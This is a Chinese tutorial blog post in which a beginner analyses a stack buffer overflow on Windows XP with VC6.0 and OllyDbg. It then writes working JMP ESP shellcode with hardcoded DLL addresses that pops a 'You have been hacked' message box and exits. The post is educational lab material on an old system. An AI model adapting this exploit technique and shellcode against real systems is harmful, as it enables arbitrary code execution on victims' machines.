AI智能
改变未来

分析缓冲区溢出漏洞并编写shellcode进行简单攻击(OllyDbg+VC6.0+WindowsXP)


测试环境

  1. 操作系统:WindowsXP
  2. 选用工具:VC6.0、OllyDbg

因为古旧的系统漏洞比较多,所以本人在VMware Workstation虚拟机上装了XP系统来测试,VC6.0是写代码用的,OllyDbg是测试用的,工具就自己去下载吧

具体测试步骤

一、编写缓冲区溢出的代码并执行
  1. 代码如下:
#include <stdio.h>#include <string.h>char name[] = \"ABCDEFGHIJKLMNOPQRST\";int main(){char buffer[8];strcpy(buffer, name);printf(\"%s\\n\", buffer);getchar();return 0;}
  1. 运行结果如下:
二、获取可执行文件
  1. 首先,在VC里,使用Win32 Release的方式组建代码,如下图,选择好组建方式,重新编译即可(如果没有这个选项,鼠标放在工具栏上,右键,在出现的窗口里把\”组建\”勾上就可以了
  2. 然后在项目目录下就会出现Release文件夹,里面的.exe可执行文件就是我们要使用OllyDbg来分析的对象
三、使用OllyDbg分析可执行文件
  1. 使用OllyDbg开始调试
  • 打开OllyDbg,把上一步获取的.exe文件直接拖进去,就是用OllyDbg打开了.exe文件
  • 调试常用快捷键如下:
· F2:设置断点,在光标定位的位置按F2键即可,再按一次则会删除断点;· F3:加载一个可执行程序,进行调试分析,即打开文件;· F4:程序执行到光标选定位置暂停;· F7:单步步入,进入函数实现内,遇到CALL等子程序时回进入其中,进入后首先会停留在子程序的第一条指令上;· F8:单步步过,每按一次只想一条反汇编窗口中的指令,越过函数实现,CALL指令不会跟进函数实现;· F9:直接运行程序,遇到断点处,程序暂停;· Ctrl+F2:重新运行到程序起始处,用于重新调试程序;· Ctrl+F9:执行到函数返回处,用于跳出函数实现;· Alt+F9:执行到用户代码处,用于快捷跳出系统函数;· Ctrl+G:输入十六进制地址,在反汇编或数据窗口中快速定位到该地址处;

(注意:此处由于笔记本电脑的F1-F12都具有特定的功能,考虑到其优先级问题,在使用快捷键时要同时按住fn键,即使用f2时,应同时按下fn+f2,其他类似)

  1. 判定main函数的地址
  • 使用快捷键f8单步运行,直到弹出运行窗口,此处即为main函数的位置,如下图,00401694就是main函数的地址,在此处按快捷键f2下一个断点
    【分析:main函数的语句是call xxxx.00401005,说明会跳到另外的地址执行,正常的程序在执行完main函数之后,会跳回到main函数的下一个地址即00401699地址来继续往后执行】
  1. 进入main函数,分析call语句执行前后栈空间的变化
  • 快捷键ctrl+f2重新调试程序,f9直接运行程序,遇到断点程序暂停,此时程序暂停在上一步下的断点处,即main函数调用处,f7单步步入,进入main函数内部
  • call语句执行时会先将call语句的下一条语句所在地址00401699压入栈,存储在栈空间0012FF84处;
  • 然后再jmp到call语句所在的00401005地址处。如下图:
  1. 分析溢出的程序对栈空间的影响
  • 使用strcpy语句将name中的值复制到buffer[]里面之后,发现数据从地址0012FF78开始存储,buffer花粉的八个字节存储完毕之后,继续往相邻的空间进行覆盖,直到name中的内容全部存放完毕;如下图:
  • 发现原本存放返回地址00401699的栈空间0012FF84被溢出的数据所覆盖,里面存放的是”MNOP”的Ascll码值504F4E4D。
  1. 继续f8执行
  • 一直f8到main函数结束并返回,发现一片空白,继续f8单步运行,报错,而此处显示的内存地址与程序执行时报错显示的地址均为504F4E4D,即上一步存放在栈空间0012FF84处的”MNOP”的Ascll码值,这说明操作系统误把溢出在此处的数据当作返回地址进行了返回。如下图:
  1. 缓冲区溢出漏洞总结
  • 溢出原因是因为输入了过长的字符,本身又没有有限的验证机制,于是导致过长字符将返回地址给覆盖掉,当函数需要返回时,由于地址是无效的,因此导致程序出错。
四、编写shellcode进行攻击

攻击思路:如果给一个有效的地址覆盖原有返回地址,让函数返回时跳到攻击者设计好的代码处,执行攻击者设定好的程序,就是构造出一个有效地址,该地址处指令可以跳转去执行让计算机执行的代码(shellcode),就可以进行攻击。

  1. 精准定位返回地址的位置
  • 根据程序运行的错误提示,由于准备的是一长串不同的字符,那么查询ascll码表可知错误信息中的504f4e4d是”MNOP”的ascll值,因此可以定位
  • 记录:char name[] = “ABCDEFGHIJKLXXXX”,XXXX处就是返回地址
  1. 寻找一个合适的地址,用于覆盖原返回地址
  • 当main执行完毕时,ESP寄存器内容会自动变成返回地址的下一个位置,并且这种变化不受任何程序影响;
  • 将XXXX编写成JMP ESP,利用ESP这个跳板进行跳转,转到想让计算机执行的shellcode所在地址处执行;
  • 利用这一特性,可以将shellcode放到ESP指向地址处,即在返回地址处使其转到JMP ESP语句,此时的ESP自动指向栈空间的下一个位置,执行完JMP ESP之后,程序即跳转到ESP所保存的地址中去执行;
  • 如果事先将shellcode入栈,那么跳到栈空间处执行时,执行的就是攻击者编写好的shellcode,即能完成攻击。
  1. 编写shellcode到对应的缓冲区中
  • 查阅JMP ESP的机器码为FFE4,编写程序在动态链接库中查找JMP ESP的有效地址;查找代码如下:
#include <Windows.h>#include <stdio.h>#include <stdlib.h>int main(){BYTE *ptr;int position;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary(\"user32.dll\");if(!handle)  {printf(\"load dll error!\");exit(0);}ptr = (BYTE*) handle;for(position = 0; !done_flag; position++)  {try  {if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)  {int address = (int)ptr + position;printf(\"CODE found at 0x%x\\n\", address);}}catch(...)  {int address = (int)ptr + position;printf(\"END OF 0x%x\\n\", address);done_flag = true;}}getchar();return 0;}
  • 查找结果如下图:
  • 明确攻击方式:这里只是简单攻击,就打算弹出一个MessageBox对话框,之后退出程序
  • 编写程序在动态链接库中查找MessageBox和ExitProcess函数的调用地址;前者是用于弹出对话框,后者是用于退出程序,代码如下:
// 查找MessageBox#include <Windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main(){HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(\"user32\");//get user32.dll Addressprintf(\"user32 = 0x%x\\n\", LibHandle);ProcAdd = (MYPROC)GetProcAddress(LibHandle, \"MessageBoxA\");//get MessageBoxA Addressprintf(\"MessageBoxA = 0x%x\\n\", ProcAdd);getchar();return 0;}
// 查找ExitProcess#include <Windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main(){HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(\"kernel32\");//get kernel32.dll Addressprintf(\"kernel32 = 0x%x\\n\", LibHandle);ProcAdd = (MYPROC)GetProcAddress(LibHandle, \"ExitProcess\");//get ExitProcess Addressprintf(\"ExitProcess = 0x%x\\n\", ProcAdd);getchar();return 0;}
  • 查找结果如下
  • 记录查找到的有效地址,随便一个都可以用,本人在这里选取如下地址
    jmp esp : 0x77e1f2c8 MessageBox : 0x77d507ea ExitProcess : 0x7c81cafa
  • 编写shellcode,代码如下:
char name[] = \"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\"//填充到name[0]-[7]  \"ABCDEFGH\"//( x41是\'A\'的Ascll值的16进制表示,后面类似 )\"\\x49\\x4A\\x4B\\x4C\"				//填充到EBP  \"IJKM\"//就是之前找到的jmp esp的地址77e1f2c8\"\\xC8\\xF2\\xE1\\x77\"				//被覆盖到Return Adderss显示的位置//从这里开始是shellcode\"\\x83\\xEC\\x50\"					//sub esp,0x50  预留保护空间\"\\x33\\xDB\"						//xor ebx,ebx   相当于把ebx清零\"\\x53\"		  					//push ebx//push i   n   g  空格\"\\x68\\x69\\x6E\\x67\\x20\"//push  W	 a	 r   n\"\\x68\\x57\\x61\\x72\\x6E\"			//push \"Warning\"\"\\x8B\\xC4\"						//mov eax,esp\"\\x53\"							//push ebx\"\\x68\\x21\\x21\\x20\\x20\"\"\\x68\\x20\\x75\\x70\\x21\"\"\\x68\\x47\\x69\\x76\\x65\"			//push \"Give up!!!  \"\"\\x68\\x21\\x21\\x21\\x20\"\"\\x68\\x63\\x6B\\x65\\x64\"\"\\x68\\x6E\\x20\\x68\\x61\"			//\\x68是push\"\\x68\\x20\\x62\\x65\\x65\"\"\\x68\\x68\\x61\\x76\\x65\"\"\\x68\\x59\\x6F\\x75\\x20\"			//push \"You have been hacked!!! \"//\"\\x68\\x6F\\x21\\x20\\x20\"//\"\\x68\\x48\\x65\\x6C\\x6C\"			//push \"Hello! You have been hacked!\"\"\\x8B\\xCC\"						//mov ecx,esp\"\\x53\"							//push ebx\"\\x50\"							//push eax\"\\x51\"							//push ecx\"\\x53\"							//push ebx//就是之前找到的messagebox的地址77d507ea\"\\xB8\\xEA\\x07\\xD5\\x77\"			//mov eax,0x77D507EA\"\\xFF\\xD0\"						//call eax  调用MessageBoxA显示对话框\"\\x53\"							//push ebx//就是之前找到的editprocess的地址7c81cafa\"\\xB8\\xFA\\xCA\\x81\\x7C\"			//mov eax,0x7C81CAFA\"\\xFF\\xD0\";						//call eax  调用ExitProcess退出程序
  1. 使用Ollydbg分析加入了shellcode的程序
  • 代码如下:
#include <Windows.h>#include <stdio.h>#include <string.h>// 这里加入上面写的shellcode!!!!!!!!int main(){char buffer[8];LoadLibrary(\"user32.dll\");strcpy(buffer, name);printf(\"%s\\n\", buffer);getchar();return 0;}
  • 同样按照上面的步骤获取以Release组建方式获取的.exe可执行文件
  • 使用OllyDbg打开该文件,同样的步骤:
    f8找到main函数->f2下断点->ctrl+f2重新调试->f9执行到断点处->f7步入main函数,一直运行到name中的数据入栈,如下图:
  • 此时可看到在原本存储返回地址的栈空间0012FF84处存储的是预设好的JMP ESP命令的有效地址0x77E1F2C8
  • 继续f8运行,程序进行返回跳转之后(即跳出main函数之后)跳转到了77E1F2C8地址处,此处有一个jmp esp语句,而此时的ESP指向的地址是栈空间地址0012FF88;如下图:
  • 执行完jmp esp命令后,就会跳转到地址0012FF88继续执行,而此处均为之前入栈的shellcode,那么就会顺序执行攻击者所编写的命令;如下图:
  • 其中,将参数传入栈后,按照刚刚查找到的地址调用MessageBox函数显示对话框和调用ExitProcess函数退出程序。如下图:
  • 最终程序的运行结果是:显示预设好的对话框,点击确定之后退出程序。如下图:

    至此,攻击分析结束。

本人尚为初学者,欢迎交流。

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » 分析缓冲区溢出漏洞并编写shellcode进行简单攻击(OllyDbg+VC6.0+WindowsXP)